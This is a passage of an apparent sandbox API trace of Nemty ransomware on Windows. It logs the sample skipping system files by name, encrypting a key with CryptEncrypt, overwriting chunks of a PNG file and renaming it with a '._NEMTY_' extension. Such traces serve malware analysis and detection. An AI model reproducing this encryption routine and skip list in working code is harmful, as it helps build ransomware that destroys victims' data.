lstrcmpiW (lpString1="dial.png", lpString2="MSDOS.SYS") returned -1 [0124.439] lstrcmpiW (lpString1="dial.png", lpString2="IO.SYS") returned -1 [0124.439] lstrcmpiW (lpString1="dial.png", lpString2="boot.ini") returned 1 [0124.439] lstrcmpiW (lpString1="dial.png", lpString2="boot.ini") returned 1 [0124.439] lstrcmpiW (lpString1="dial.png", lpString2="AUTOEXEC.BAT") returned 1 [0124.439] lstrcmpiW (lpString1="dial.png", lpString2="ntuser.dat") returned -1 [0124.440] lstrcmpiW (lpString1="dial.png", lpString2="desktop.ini") returned 1 [0124.440] lstrcmpiW (lpString1="dial.png", lpString2="CONFIG.SYS") returned 1 [0124.440] lstrcmpiW (lpString1="dial.png", lpString2="RECYCLER") returned -1 [0124.440] lstrcmpiW (lpString1="dial.png", lpString2="BOOTSECT.BAK") returned 1 [0124.440] lstrcmpiW (lpString1="dial.png", lpString2="bootmgr") returned 1 [0124.440] lstrcmpiW (lpString1="dial.png", lpString2="programdata") returned -1 [0124.440] lstrcmpiW (lpString1="dial.png", lpString2="appdata") returned 1 [0124.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0124.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial.png", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dial.png", lpUsedDefaultChar=0x0) returned 8 [0124.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0124.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0124.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial.png", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dial.png", lpUsedDefaultChar=0x0) returned 8 [0124.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0124.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0124.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial.png", cchWideChar=8, lpMultiByteStr=0x653ec20, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dial.png", lpUsedDefaultChar=0x0) returned 8 [0124.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0124.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial.png", cchWideChar=8, lpMultiByteStr=0x653ec58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dial.png", lpUsedDefaultChar=0x0) returned 8 [0124.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0124.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0124.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0124.440] Sleep (dwMilliseconds=0x5) [0124.455] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfdd3de70, dwHighDateTime=0x1d561e7)) [0124.455] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfdd3de70, dwHighDateTime=0x1d561e7)) [0124.455] GetLastError () returned 0x5 [0124.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0124.455] GetLastError () returned 0x5 [0124.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0124.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0124.455] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0124.455] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0124.455] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0124.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401e0 [0124.455] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401e0, pcchString=0x653e91c | out: pszString="bU1rpkq3sW5OTGa0irhR8z3P4LN6jstsy1TWDJynt7yAK+zs5EK+7LFXUMsR7kbd\r\nWL9+nUBuFSkIx8B767Usn4L722aNCWCA9qaEPbRHigfB976BQL0HgzHvPCdg1siF\r\nfmGVtTchpYuT/4vUpcQAau7ZWhdP+8axrA59XHkBHn4/whv5Ow9xWbxy5vsY5kCv\r\n9i7YxX6ZdybNI3xWMXcEDm2vaP6/ET5uvRQd7YA2hpwjixsxeDCgp1tFGEPKDSNc\r\nBZYe7CrzeUTAvD5owE6ev77kucGMBz8VmlDganaPeLvdtBpEFpspoGC5FCr3eTZr\r\n2SCLRiogdgw9xDUfy9fjrw==\r\n", pcchString=0x653e91c) returned 1 [0124.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0124.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0124.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0124.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0124.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401e0 [0124.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0124.455] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.456] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0124.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0124.456] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.456] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.465] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.465] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.465] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.465] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.475] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.475] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.475] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.475] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.484] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.484] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.484] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.484] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.493] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.494] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.494] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.494] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.504] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.504] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.504] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.513] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.513] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.522] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.522] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.531] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.531] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.541] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.541] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.560] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.560] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.560] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.561] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.567] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.567] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.573] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.573] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0124.573] CloseHandle (hObject=0xffffffff) returned 0 [0124.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0124.573] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0124.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0124.573] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0124.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0124.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0124.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0124.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0124.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0124.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0124.573] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial.png._nemty_kgobjgd_")) returned 0 [0124.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0124.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0124.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0124.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0124.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0124.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0124.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0124.574] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842b7a8e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842b7a8e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29146b0f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc91, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="dialdot.png", cAlternateFileName="")) returned 1 [0124.574] lstrcmpiW (lpString1="dialdot.png", lpString2=".") returned 1 [0124.574] lstrcmpiW (lpString1="dialdot.png", lpString2="..") returned 1 [0124.574] lstrcmpiW (lpString1="dialdot.png", lpString2="...") returned 1 [0124.574] lstrcmpiW (lpString1="dialdot.png", lpString2="windows") returned -1 [0124.574] lstrcmpiW (lpString1="dialdot.png", lpString2="$RECYCLE.BIN") returned 1 [0124.574] lstrcmpiW (lpString1="dialdot.png", lpString2="rsa") returned -1 [0124.574] lstrcmpiW (lpString1="dialdot.png", lpString2="NTDETECT.COM") returned -1 [0124.574] lstrcmpiW (lpString1="dialdot.png", lpString2="ntldr") returned -1 [0124.574] lstrcmpiW (lpString1="dialdot.png", lpString2="MSDOS.SYS") returned -1 [0124.574] lstrcmpiW (lpString1="dialdot.png", lpString2="IO.SYS") returned -1 [0124.574] lstrcmpiW (lpString1="dialdot.png", lpString2="boot.ini") returned 1 [0124.574] lstrcmpiW (lpString1="dialdot.png", lpString2="boot.ini") returned 1 [0124.574] lstrcmpiW (lpString1="dialdot.png", lpString2="AUTOEXEC.BAT") returned 1 [0124.574] lstrcmpiW (lpString1="dialdot.png", lpString2="ntuser.dat") returned -1 [0124.574] lstrcmpiW (lpString1="dialdot.png", lpString2="desktop.ini") returned 1 [0124.574] lstrcmpiW (lpString1="dialdot.png", lpString2="CONFIG.SYS") returned 1 [0124.574] lstrcmpiW (lpString1="dialdot.png", lpString2="RECYCLER") returned -1 [0124.574] lstrcmpiW (lpString1="dialdot.png", lpString2="BOOTSECT.BAK") returned 1 [0124.574] lstrcmpiW (lpString1="dialdot.png", lpString2="bootmgr") returned 1 [0124.574] lstrcmpiW (lpString1="dialdot.png", lpString2="programdata") returned -1 [0124.574] lstrcmpiW (lpString1="dialdot.png", lpString2="appdata") returned 1 [0124.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dialdot.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0124.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dialdot.png", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dialdot.png", lpUsedDefaultChar=0x0) returned 11 [0124.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0124.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dialdot.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0124.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dialdot.png", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dialdot.png", lpUsedDefaultChar=0x0) returned 11 [0124.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0124.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.575] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dialdot.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0124.575] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dialdot.png", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dialdot.png", lpUsedDefaultChar=0x0) returned 11 [0124.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.575] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dialdot.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) 